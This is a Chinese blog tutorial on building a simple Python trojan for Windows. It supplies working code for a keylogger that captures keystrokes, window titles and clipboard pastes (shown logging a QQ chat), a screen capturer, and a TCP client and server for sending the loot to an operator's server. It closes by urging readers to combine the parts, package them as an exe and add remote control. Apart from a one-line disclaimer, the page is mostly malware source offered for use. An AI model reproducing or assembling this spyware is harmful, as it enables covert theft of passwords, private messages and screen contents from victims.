Python编写简易木马程序

来源:互联网 发布:php blog 系统 编辑:程序博客网 时间:2024/04/28 09:59
0x00 准备

文章内容仅供学习研究、切勿用于非法用途!

这次我们使用Python编写一个具有键盘记录、截屏以及通信功能的简易木马。依然选用Sublime text2 +JEDI(python自动补全插件)来撸代码。

首先准备好我们需要的依赖库,python hook和pythoncom。

下载安装python hook

enter image description here

下载安装pythoncom模块:

enter image description here

0x01 键盘记录器


说起Keylogger,大家的思维可能早已飞向带有wifi功能的mini小硬件去了。抛开高科技,我们暂且回归本质,探探简易键盘记录器的原理与实现。

Python keylogger键盘记录的功能的实现主要利用了pythoncom及pythonhook,然后就是对windows API的各种调用。Python之所以用起来方便快捷,主要归功于这些庞大的支持库,正所谓“人生苦短,快用Python”。

代码部分:

# -*- coding: utf-8 -*-  from ctypes import *import pythoncomimport pyHookimport win32clipboard user32 = windll.user32kernel32 = windll.kernel32psapi = windll.psapicurrent_window = None #def get_current_process():     # 获取最上层的窗口句柄    hwnd = user32.GetForegroundWindow()     # 获取进程ID    pid = c_ulong(0)    user32.GetWindowThreadProcessId(hwnd,byref(pid))     # 将进程ID存入变量中    process_id = "%d" % pid.value     # 申请内存    executable = create_string_buffer("\x00"*512)    h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)     psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)     # 读取窗口标题    windows_title = create_string_buffer("\x00"*512)    length = user32.GetWindowTextA(hwnd,byref(windows_title),512)     # 打印    print    print "[ PID:%s-%s-%s]" % (process_id,executable.value,windows_title.value)    print     # 关闭handles    kernel32.CloseHandle(hwnd)    kernel32.CloseHandle(h_process) # 定义击键监听事件函数def KeyStroke(event):     global current_window     # 检测目标窗口是否转移(换了其他窗口就监听新的窗口)    if event.WindowName != current_window:        current_window = event.WindowName        # 函数调用        get_current_process()     # 检测击键是否常规按键(非组合键等)    if event.Ascii > 32 and event.Ascii <127:        print chr(event.Ascii),    else:        # 如果发现Ctrl+v(粘贴)事件,就把粘贴板内容记录下来        if event.Key == "V":            win32clipboard.OpenClipboard()            pasted_value = win32clipboard.GetClipboardData()            win32clipboard.CloseClipboard()            print "[PASTE]-%s" % (pasted_value),        else:            print "[%s]" % event.Key,    # 循环监听下一个击键事件    return True # 创建并注册hook管理器kl = pyHook.HookManager()kl.KeyDown = KeyStroke # 注册hook并执行kl.HookKeyboard()pythoncom.PumpMessages()

【知识点】钩子(Hook):Windows消息处理机制的一个平台,应用程序可以在上面设置子程以监视指定窗口的某种消息,而且所监视的窗口可以是其他进程所创建的。

撸代码时一定要注意严格区分大小写。检查无误后启动keylogger:

enter image description here

然后可以尝试打开记事本写点东西,过程中可以看到我们的keylogger窗口正在对我们的输入实时记录:

enter image description here

切换窗口时会自动跟踪到新窗口(众:这点功能都没有还敢叫keylogger吗!),light教授趁机骚扰一下疯狗,可以看到我们的keylogger已经跟踪到QQ聊天窗口,并忠实的记录下我输入的一切。

enter image description here

0x02 看看你在干什么:编写一个screenshotter

截屏实现起来更简单,直接调用几个gui相关的api即可,我们直接看代码:

# -*- coding: utf-8 -*-  import win32guiimport win32uiimport win32conimport win32api # 获取桌面hdesktop = win32gui.GetDesktopWindow() # 分辨率适应width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN) # 创建设备描述表desktop_dc = win32gui.GetWindowDC(hdesktop)img_dc = win32ui.CreateDCFromHandle(desktop_dc) # 创建一个内存设备描述表mem_dc = img_dc.CreateCompatibleDC() # 创建位图对象screenshot = win32ui.CreateBitmap()screenshot.CreateCompatibleBitmap(img_dc, width, height)mem_dc.SelectObject(screenshot) # 截图至内存设备描述表mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY) # 将截图保存到文件中screenshot.SaveBitmapFile(mem_dc, 'c:\\WINDOWS\\Temp\\screenshot.bmp') # 内存释放mem_dc.DeleteDC()win32gui.DeleteObject(screenshot.GetHandle())

看看效果如何:

enter image description here

0x03 综合运用:完成一个简易木马

无论是keylogger记录下的内容,还是screenshotter截获的图片,只存在客户端是没有太大意义的,我们需要构建一个简单server和client端来进行通信,传输记录下的内容到我们的服务器上。

编写一个简单的TCPclient

# -*- coding: utf-8 -*-import socket # 目标地址IP/URL及端口target_host = "127.0.0.1"target_port = 9999 # 创建一个socket对象client = socket.socket(socket.AF_INET,socket.SOCK_STREAM) # 连接主机client.connect((target_host,target_port)) # 发送数据client.send("GET / HTTP/1.1\r\nHOST:127.0.0.1\r\n\r\n") # 接收响应response = client.recv(4096) print response

编写一个简单的TCPserver

# -*- coding: utf-8 -*-import socketimport threading # 监听的IP及端口bind_ip = "127.0.0.1"bind_port = 9999 server = socket.socket(socket.AF_INET,socket.SOCK_STREAM) server.bind((bind_ip,bind_port)) server.listen(5) print "[*] Listening on %s:%d" % (bind_ip,bind_port) def handle_client(client_socket):     request = client_socket.recv(1024)     print "[*] Received:%s" % request     client_socket.send("ok!")     client_socket.close() while True:     client,addr = server.accept()     print "[*] Accept connection from:%s:%d" % (addr[0],addr[1])     client_handler = threading.Thread(target=handle_client,args=(client,))     client_handler.start()

开启服务端监听:

enter image description here

客户端执行:

enter image description here

服务端接收到客户端的请求并作出响应:

0x04 结语

最后,你需要做的就是把上面三个模块结合起来,一个简易的具有键盘记录、屏幕截图并可以发送内容到我们服务端的木马就完成了。可以使用py2exe把脚本生成exe可执行文件。当然你还可以继续发挥,加上远程控制功能。

0 0
原创粉丝点击
热门问题 老师的惩罚 人脸识别 我在镇武司摸鱼那些年 重生之率土为王 我在大康的咸鱼生活 盘龙之生命进化 天生仙种 凡人之先天五行 春回大明朝 姑娘不必设防,我是瞎子 两个宝宝斜颈左边力量差怎么办 姿势不正确引起的习惯性斜颈怎么办 一岁宝宝有点斜颈怎么办 六个月宝宝有点斜颈怎么办 5月宝宝有点斜颈怎么办 半岁宝宝头偏怎么办 肌性斜颈成年后怎么办 5个月孩子脖子歪怎么办 宝宝一岁多头歪怎么办 四个月宝宝歪脖子怎么办 1岁宝宝脖子歪怎么办 宝宝脖子是歪的怎么办 小孩脖子睡歪了怎么办 脸部三角区肿了怎么办 面部三角区挤了怎么办 胳膊扭着了肿了怎么办 多囊卵巢综合症治不好怎么办 胳膊受了风发麻怎么办 胳膊抻筋了很疼怎么办 腰抻了怎么办最有效 孩子胳膊抻着了怎么办 胳膊伤筋了疼怎么办 宝宝胳膊抻了疼怎么办 练完普拉提头晕怎么办 生完孩子腰背疼怎么办 宝宝不肯把屎尿怎么办 存的电话删除了怎么办 脚踝的韧带断了怎么办 买了双鞋子想退怎么办 鞋子大了一码怎么办 nba篮球大师身体素质满了怎么办 钉鞋大了一码怎么办 篮球鞋鞋垫会向里面跑怎么办 穿高跟鞋脚肿了怎么办 衣服弄到单车油怎么办 高低床孩子摔下来怎么办 量血压时老紧张怎么办 牛仔外套的扣子掉了怎么办 裤子的裤筒大了怎么办 衣服拉链驰坏了怎么办 小脚裤裤腿紧了怎么办